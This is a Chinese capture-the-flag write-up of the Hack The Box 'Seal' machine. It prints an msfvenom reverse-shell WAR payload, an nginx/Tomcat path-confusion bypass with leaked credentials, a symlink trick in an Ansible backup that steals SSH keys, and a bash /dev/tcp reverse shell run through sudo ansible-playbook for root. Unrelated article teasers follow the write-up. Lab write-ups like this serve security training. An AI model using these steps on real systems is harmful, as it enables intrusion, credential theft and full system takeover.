【Hack The Box】linux练习-- seal

news2024/11/29 0:54:59

HTB 学习笔记

【Hack The Box】linux练习-- seal


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 爆破域名
    • 443
    • 目录爆破
    • 8080
    • tomcat与nginx相互验证混淆
    • Ansible
    • 提权

在这里插入图片描述

信息收集

22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
8080/tcp open  http-proxy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Sat, 21 Aug 2021 00:59:51 GMT
|     Set-Cookie: JSESSIONID=node0gavl59qm2zrx1qhzhowcumpi72.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   GetRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Sat, 21 Aug 2021 00:59:50 GMT
|     Set-Cookie: JSESSIONID=node0drs9zl7mym6gi9hyziw3t1m90.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Sat, 21 Aug 2021 00:59:51 GMT
|     Set-Cookie: JSESSIONID=node01q9qys7bogc7sqx9vdtz49od11.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RPCCheck: 
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal 

commonName=seal.htb
nginx/1.18.0 (Ubuntu)
还有一个8080的代理服务器应该是(http-proxy)

爆破域名

wfuzz -u https://10.10.10.250 -H 'Host: FUZZ.seal.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt 

在这里插入图片描述
显然默认大小写chars有 19737 个字符。 我会添加 --hh 19737并重新运行:
结果如下,全是400,

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000689:   400        16 L     122 W      2250 Ch     "gc._msdcs"
000009532:   400        14 L     100 W      1949 Ch     "#www"
000010581:   400        14 L     100 W      1949 Ch     "#mail"
000019834:   400        14 L     100 W      1949 Ch     "_domainkey"

443

发现了一个可疑用户名
Jomono
发现一个注册,但没有发现登陆

在这里插入图片描述网站上有两种形式可以接受输入,一种是搜索,另一种是联系我们。
其他地方没有任何功能

两种形式都将所有输入作为 GET 参数粘贴,返回的页面与没有参数的页面完全相同:

GET /?Your+Name=0xdf&Email=0xdf%40seal.htb&Phone+Number=9999&Message=9999 HTTP/1.1
Host: seal.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://seal.htb/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

目录爆破

feroxbuster -u https://seal.htb -k

爆破方法随便,咋样都行

02        0l        0w        0c https://seal.htb/admin
302        0l        0w        0c https://seal.htb/images
302        0l        0w        0c https://seal.htb/css
302        0l        0w        0c https://seal.htb/js
302        0l        0w        0c https://seal.htb/manager
302        0l        0w        0c https://seal.htb/icon
[####################] - 33s    29999/29999   0s      found:6       errors:0      
[####################] - 32s    29999/29999   918/s   https://seal.htb

/manager是 Tomcat 网络服务器的通用路径。 /manager/html是基于 GUI 的管理面板,并且 /manager/text/是基于文本的版本(我在 Tabby 中使用了它)。

有趣的是 feroxbuster没找到 /manager/html/或者 /manager/text/. 当我尝试结帐时 /manager在 Firefox 中,它无法连接:

在这里插入图片描述
我将用curl访问这个页面,看看具体信息

curl -k -I https://10.129.95.190/manager

在这里插入图片描述看到他是重定向到了http,而http上只有8080的代理,却没有80的web

目前没办法,又可能内部运行了一个80,但目前没有思路

在这里插入图片描述
admin目录也没有东西,显示页面无索引,那我们就接着爆破一下

───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
403        7l       10w      162c https://seal.htb/admin/dashboard
403        7l       10w      162c https://seal.htb/admin/dashboards

有两个

在这里插入图片描述
啥也没有

8080

在这里插入图片描述gitbucket 的一个实例

没有弱口令,初步检测没有sql注入,有注册页面

我将注册一个账号

在这里插入图片描述

在这里插入图片描述
随便点开一个能发现使用的tomcat和nginx

在这里插入图片描述点开tomcat有一些配置文件,但是没有包含密码的那个默认配置文件

在这里插入图片描述
在一个xml文件找到了账号密码

在这里插入图片描述

username="tomcat" password="42MrHBf*z8{Z%" 

/manager/html,是403. 我可以尝试基于文本的管理器,但我没有那个角色(会显示 manager-script在 roles).

继续找,还有很多配置信息

在这里插入图片描述代理了一个本地8000

并且本地的 /manager/html被代理掉了,结合实际情况
肯定有一个8000的端口代理了tomcat登陆
所以我们接下来的思路就是要拿到一个shel

tomcat与nginx相互验证混淆

https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

演示文稿中的示例如下所示:
在这里插入图片描述
在这里插入图片描述

简单来说 当nginx回隐藏一些常用服务 通过混淆,绕过nginx但是tomcat正确识别的方法 如果我传递一个像这样的 URL :
https://seal.htb/manager;name=rong/html, NGINX 会将其视为完整的 URL,但 Tomcat
会将其视为 https://seal.htb/manager/html. 第一个 URL 不匹配 需要转发的
/manager/html,因此它不会检查相互身份验证。 相反,它将被转发到 Tomcat。 但是 Tomcat 会看到
/manager/html, 并返回该页面。 这是有效的:

我将访问下面的url
https://seal.htb/manager;name=rong/html
并且输入这个凭证
username=tomcat password=42MrHBf*z8{Z%

登陆到了控制面板,在下面的war上传界面可以上传恶意war文件

msfvenom -p java/shell_reverse_tcp lhost=10.10.14.29 lport=443 -f war -o rev.war

在这里插入图片描述

而后在首页,单击文件
在这里插入图片描述

本地拿到shell

创建稳定shell

script /dev/null -c bash

在这里插入图片描述

/opt有个 backups文件夹:
打开一路往下
/opt/backups/archives
这个应该是一处归档文件,可是里面什么都没有
在这里插入图片描述
但是我看完喀麦隆这一次进攻之后他就突然出现了两个文件
说明这是计划任务

我先不管,先把刚才另外一个文件夹看完
这 playbook文件夹有一个文件, run.yml:

- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup--.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/

这看起来是每分钟运行的内容。 这是一个 Ansible 包含三个任务

https://www.ansible.com/

Ansible 是一种通用语言,是一个剧本,类似于自动化的做一些动作

三项任务:

“复制文件”获取dashborad/的所有文件并将它们复制到该目录中的/opt/backups/files “Server
Backups”运行 归档 模块生成 .gz带有时间戳的文件。
“清洁”删除 files使用 文件 模块的目录。

Ansible

我们利用这个相当于计划任务的方式是利用软连接
将我们的/home/luis/目录软连接到他执行备份的路径之内

为了利用它,我需要在 Tomcat Web 目录中寻找我可以编写的内容。 找到了 uploads文件夹:

tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ find . -writable
./uploads

我将在上传文件夹中创建指向 luis 主目录的符号链接:

ln -s /home/luis/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/

再备份的时候就可以备份/home/luis/了
在这里插入图片描述

tar zxf backup-2022-11-24-10:56:33.gz --force-local

那其实是因为 tar对待 :表示它之前的部分是它应该连接到的主机名。 我可以通过重命名来解决这个问题
或者给它 --force-local。
在这里插入图片描述
在这里插入图片描述
luis目录下还有一个.ssh
复制到本地而后赋权600
而后登陆ssh
在这里插入图片描述
在这里插入图片描述

提权

剧本提权
我将写一个剧本而后调用它

rev.yml

- hosts: localhost
  tasks:
  - name: rev
    shell: bash -c 'bash -i >& /dev/tcp/10.10.14.22/443 0>&1'
sudo ansible-playbook rev.yml 

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/41668.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

②【Maven】从0上手Maven的安装与配置 - 最全教程 (下载 + 配置 + 环境变量 )

个人简介&#xff1a;Java领域新星创作者&#xff1b;阿里云技术博主、星级博主、专家博主&#xff1b;正在Java学习的路上摸爬滚打&#xff0c;记录学习的过程~ 个人主页&#xff1a;.29.的博客 学习社区&#xff1a;进去逛一逛~ Maven >>> 下载、安装、配置一、下载…

jenkins关联github

将Jenkins和github关联起来&#xff0c;实现自动化集成 GitHub侧 1、生成secret.txt secret在github上被称为token 进去GitHub --> Settings --> Developer settings --> Personal access tokens -> Generate new token创建一个新的token,勾选两处标红的地方 点…

Flutter高仿微信-第58篇-扫一扫

Flutter高仿微信系列共59篇&#xff0c;从Flutter客户端、Kotlin客户端、Web服务器、数据库表结构、Xmpp即时通讯服务器、视频通话服务器、腾讯云服务器全面讲解。 详情请查看 效果图&#xff1a; 实现代码&#xff1a; //二维码扫一扫 Future _scanQR() async {try {final re…

外设驱动库开发笔记49:BY25Qxx存储器驱动

在有一些应用中&#xff0c;我们可能需要大一些容量的存储单元&#xff0c;而实现的形式多种多样&#xff0c;在这一篇中我们将来讨论怎么使用BY25QXXX系列NOR FLASH存储器的问题。 1、功能概述 在开始实现BY25QXXX系列NOR FLASH存储器的驱动之前&#xff0c;我们需要先了解一…

Mysql-解决创建存储函数This function has none of DETERMINISTIC

问题 当二进制日志启用后&#xff0c;这个变量就会启用。它控制是否可以信任存储函数创建者&#xff0c;不会创建写入二进制日志引起不安全事件的存储函数。 如果设置为0&#xff08;默认值&#xff09;&#xff0c;用户不得创建或修改存储函数&#xff0c;除非它们具有除CRE…

COLMAP生成MVSNet数据集

一. colmap2mvsnet.py COLMAP可以给图像数据集标定一套相机外参及视图选择。如果想用COLMAP导出的结果输入MVSNet测试&#xff0c;需要把数据集&#xff08;图片、相机参数等&#xff09;转化为MVSNet的输入格式。MVSNet的作者yaoyao在Github上提供了colmap2mvsnet.py代码&…

Java内存区域

目录复制 Java内存区域区域划分内存溢出异常区域划分 Java虚拟机在执行Java程序的过程中会把它所管理的内存划分为若干个不同的数据区域。根据《Java虚拟机规格》的规定&#xff0c;Java虚拟机所管理的内存包括以下几个运行时数据区域。 线程独占的有&#xff1a;程序计数器…

《web课程设计》 基于HTML+CSS+JavaScript实现中国水墨风的小学学校网站模板(6个网页)

&#x1f389;精彩专栏推荐 &#x1f4ad;文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 &#x1f482; 作者主页: 【主页——&#x1f680;获取更多优质源码】 &#x1f393; web前端期末大作业&#xff1a; 【&#x1f4da;毕设项目精品实战案例 (10…

[附源码]SSM计算机毕业设计网上零食商城JAVA

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

Spring | 一文带你掌握IOC技术

&#x1f451; 博主简介&#xff1a;    &#x1f947; Java领域新星创作者    &#x1f947; 阿里云开发者社区专家博主、星级博主、技术博主 &#x1f91d; 交流社区&#xff1a;BoBooY&#xff08;优质编程学习笔记社区&#xff09; 文章目录IOC 控制反转1、概念2、分析…

无线传感器网络:传输层

文章目录Challenges for Transport LayerEnd-to-End MeasuresApplication-Dependent OperationEnergy ConsumptionConstrained Routing/AddressingBiased ImplementationReliable Multi-Segment Transport (RMST) ProtocolPump Slowly, Fetch Quickly (PSFQ) ProtocolPump Oper…

超详细的PHP入门知识点讲解

目录 一、简介 二、php基本语法 二、变量和作用域 三、常量 四、数据类型 五、运算符 六、流程控制 七、超全局变量 一、简介 基础知识&#xff1a; 需要一定的html和css的语法知识 基本概念&#xff1a; PHP&#xff08;超文本预处理器&#xff09;是一种通用开源脚本…

汽车销量数据库(分车型、分品牌月度销量数据 2005-2021)

1、数据来源&#xff1a;汽车工业协会 2、时间跨度&#xff1a;2005年1月-2021年5月 3、区域范围&#xff1a;全国 4、指标说明&#xff1a; 该份数据包含全国各种汽车销量数十个相关指标&#xff01; 该份数据包含如下指标&#xff1a; 轿车&#xff1a;一汽大众、上海大…

TMS Sphinx Alexandria Full Source

TMS Sphinx Alexandria Full Source 用于身份访问管理的TMS Sphinx Delphi框架&#xff0c;包括授权和身份验证。 TMS Sphinx允许您为多个应用程序实现单点登录(SSO)&#xff1a;web、本机、移动或机器到机器API通信。它可用于通过登录表单、类似的用户界面和基于服务的身份验证…

「低代码」跑通现代BI“最后一公里”的背后

文|智能相对论 作者|沈浪 “未来不懂低代码就和二十年前不会用word一样。未来80%的应用会由业务人员通过低代码开发。”在2022云栖大会上&#xff0c;阿里云智能总裁张建锋对低代码的发展前景依旧保持着非常积极的态度。 无独有偶&#xff0c;微软中国CTO韦青在他的专栏《万…

100天精通Python(数据分析篇)——第66天:Pandas透视表基础+实战案例(pivot_table函数)

文章目录每篇前言一、透视表基础参数说明实战案例0. 导入Excel数据1. data2. index3. values4. columns5. aggfunc6. fill_value7. dropna8. margins9. margins_name10. observed11. sort每篇前言 &#x1f3c6;&#x1f3c6;作者介绍&#xff1a;Python领域优质创作者、华为云…

linux dolphin为tags协议服务的进程意外退出,kioslave5已经意外关闭

刚开始用archlinux的使用的是dolphin感觉还是挺好用的。不过最近不知道为什么dolphin每次打开都会弹出个错误&#xff0c;很影响效率和心情。我简单的搜索报错代码&#xff0c;也没有成功解决报错。于是打算重新安装一个文件管理器做替换。 现象 运行dolphin或者运行浏览器中…

在PyCharm快速加载第三方模块的设置方法

在《小白学Python》慕课中说明了多种加载第三方模块的方法&#xff0c;这里补充一个在PyCharm中更为方便设置国内镜像源加载的方法。 因为默认情况下&#xff0c;PyCharm是加载国外网站的模块资源&#xff0c;因此常常会因为网络不稳定导致加载失败。因此&#xff0c;可以设置…

基于JAVA的学校图书管理系统(Swing+GUI)

目 录 第1章 绪论 1 1.1系统开发背景和意义 1 1.2系统可行性研究 1 1.3系统开发目标 2 1.4开发平台、运行环境 2 第2章 相关技术概述 3 2.1Java语言简介 3 2.2 Sqllite技术简介 4 2.3 Swing技术简介 5 第3章 需求分析 6 3.1 设计目标 6 3.2 功能分析 6 3.2.1 用户管理 6 3.2.2 …

深度学习day01

Marchine leariing 机器学习就是自动找函式 告诉机器要找的函式用 Supervised Learning 函式的Loss ——评价函式的好坏 Reinforcement就是让机器自己下象棋&#xff0c;输赢自己尝试&#xff0c;没像监督学习那样有人为规定 给函式寻找范围&#xff1a; 函式寻找方法——…